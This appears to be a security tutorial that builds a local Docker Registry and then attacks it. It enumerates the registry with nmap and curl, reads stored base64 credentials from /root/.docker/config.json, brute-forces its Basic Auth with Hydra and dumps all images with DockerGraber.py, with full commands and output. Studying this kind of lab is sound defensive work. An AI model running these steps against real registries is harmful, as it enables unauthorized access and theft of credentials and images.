1 2 3 4 5 6 7 8 9 10 11 | sudo docker run -d -p 5000:5000 --restart=always --name registry registry:2 Unable to find image 'registry:2' locally 2: Pulling from library /registry 530afca65e2e: Pull complete d450d4da0343: Pull complete 96277bea17b6: Pull complete 470ad04e03fb: Pull complete bd3d4dc6e66f: Pull complete Digest: sha256:c631a581c6152f5a4a141a974b74cf308ab2ee660287a3c749d88e0b536c0c20 Status: Downloaded newer image for registry:2 44f97a196f06611a629d1d4f17d848d39d986878e7cafe979429046c2833d73f |
Check the Registry is running with:
1 2 3 | sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 44f97a196f06 registry:2 "/entrypoint.sh /etc…" 18 minutes ago Up 18 minutes 0.0.0.0:5000->5000 /tcp , :::5000->5000 /tcp registry |
Next download an image to put in the Registry:
1 2 3 4 5 6 7 | sudo docker pull kalilinux /kali-rolling Using default tag: latest latest: Pulling from kalilinux /kali-rolling 81c3308c3ceb: Pull complete Digest: sha256:fc35f7b0cd9bc1139a6409a2afa7c7a5857cd7ce7f990645a83e8e5294a1a354 Status: Downloaded newer image for kalilinux /kali-rolling :latest docker.io /kalilinux/kali-rolling :latest |
Then upload it to the repository:
1 2 3 4 5 6 | sudo docker tag kalilinux /kali-rolling localhost:5000 /my-kali sudo docker push localhost:5000 /my-kali Using default tag: latest The push refers to repository [localhost:5000 /my-kali ] fa50bd10a15b: Pushed latest: digest: sha256:2117301d61c9519cc5496aa78a8ef4e8462c2921e26d72fb4a6db3fbabda4a40 size: 529 |
Registry Enumeration
Nmap can be used to identify a Registry web service:
1 2 3 4 5 6 7 8 9 10 11 12 | nmap -sV -A -p 5000 127.0.0.1 Starting Nmap 7.80 ( https: //nmap .org ) at 2022-07-17 16:30 BST Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Stats: 0:00:31 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for localhost (127.0.0.1) Host is up (0.00012s latency). PORT STATE SERVICE VERSION 5000 /tcp open http Docker Registry (API: 2.0) |_http-title: Site doesn't have a title. |
Querying the site directly with curl, no output will be returned:
1 | curl -s http://127.0.0.1:5000/ |
Adding /v2/ should return curly braces:
1 2 | curl -s http://127.0.0.1:5000/v2/ {} |
Making a request to /v2/_catalog should show which Docker images are available:
1 2 | curl -s http://127.0.0.1:5000/v2/_catalog {"repositories":["my-kali"]} |
Registry Authentication
Authentication may be configured on a registry. To do this, first create a htpasswd file for authentication:
1 2 | mkdir auth; sudo docker run --entrypoint htpasswd httpd:2 -Bbn admin admin > auth/htpasswd ; cat auth/htpasswd admin:$2y$05$H1Gka75EniWGeREf0oB3tOfjywMUj5VQt.7lWi/sfhU3jehkbnQAy |
Next, create HTTPS certificates;
1 2 3 4 | mkdir certs; openssl req \ -newkey rsa:4096 -nodes -sha256 -keyout certs /domain .key \ -addext "subjectAltName = DNS:registry.bordergate.local" \ -x509 -days 365 -out certs /domain .crt |
Finally, start the Registry container with the authentication file:
1 2 3 4 5 6 | sudo docker run -d -p 5000:5000 --restart=always --name registry \ - v "$(pwd)" /auth : /auth -e "REGISTRY_AUTH=htpasswd" -e \ "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" -e \ REGISTRY_AUTH_HTPASSWD_PATH= /auth/htpasswd - v "$(pwd)" /certs : /certs -e\ REGISTRY_HTTP_TLS_CERTIFICATE= /certs/domain .crt -e \ REGISTRY_HTTP_TLS_KEY= /certs/domain .key registry:2 |
Accessing the registry now requires using the Docker login command:
1 2 3 4 5 6 7 8 | sudo docker login localhost:5000 Username: admin Password: WARNING! Your password will be stored unencrypted in /root/.docker/config.json. Configure a credential helper to remove this warning. See https://docs.docker.com/engine/reference/commandline/login/#credentials-store Login Succeeded |
As per the warning listed above, it’s worth noting the plaintext (base64 encoded) registry credentials will be stored on disk when logging in using this method:
1 2 3 4 5 6 7 | cat /root/.docker/config.json { "auths": { "localhost:5000": { "auth": "YWRtaW46YWRtaW4=" } } |
Registry Authentication Brute Force
Since authentication is just standard Basic Authentication, we can brute force it with Hydra:
1 2 3 4 5 6 7 8 | hydra -l admin -P /usr/share/wordlists/fasttrack .txt 192.168.1.133 -s 5000 https-get /v2/ Hydra v9.3 (c) 2022 by van Hauser /THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https: //github .com /vanhauser-thc/thc-hydra ) starting at 2022-07-17 13:23:45 [DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1 /p :222), ~14 tries per task [DATA] attacking http-gets: //192 .168.1.133:5000 /v2/ [5000][http-get] host: 192.168.1.133 login: admin password: admin 1 of 1 target successfully completed, 1 valid password found Hydra (https: //github .com /vanhauser-thc/thc-hydra ) finished at 2022-07-17 13:23:46 |
DockerGraber.py can then be used to download the images from the Registry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | python3 DockerGraber.py -p 5000 --dump_all http://127.0.0.1 [+]======================================================[+] [|] Docker Registry Grabber v1 @SyzikSecu [|] [+]======================================================[+] [+] my-kali [+] BlobSum found 9 [+] Dumping my-kali [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 81c3308c3ceb8aa622f35b17dab173957aa27785509e2a4aa6927671c7518e2b [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 |
The downloaded image files can then be explored to determine if any credentials or sensitive information are stored in the contains. Modifications to a Docker image can be reviewed using the docker history command. This generally shows modifications to the images Dockerfile:
1 2 3 4 5 6 7 8 9 10 11 | sudo docker history localhost:5000/my-kali IMAGE CREATED CREATED BY SIZE COMMENT 1fe825e92039 3 days ago CMD ["bash"] 0B buildkit.dockerfile.v0 <missing> 3 days ago ADD kali-rolling-amd64.tar.xz / # buildkit 121MB buildkit.dockerfile.v0 <missing> 3 days ago LABEL org.opencontainers.image.created=2022-… 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG RELEASE_DESCRIPTION 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG TARBALL 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG VCS_REF 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG PROJECT_URL 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG VERSION 0B buildkit.dockerfile.v0 <missing> 3 days ago ARG BUILD_DATE 0B buildkit.dockerfile.v0 |
Closing Thoughts
Docker is ubiquitous in cloud environments, and is often coupled with systems such as Kubernetes for orchestration. The complexity of these solutions leaves an opportunity for misconfiguration that can be taken advantage of by attackers.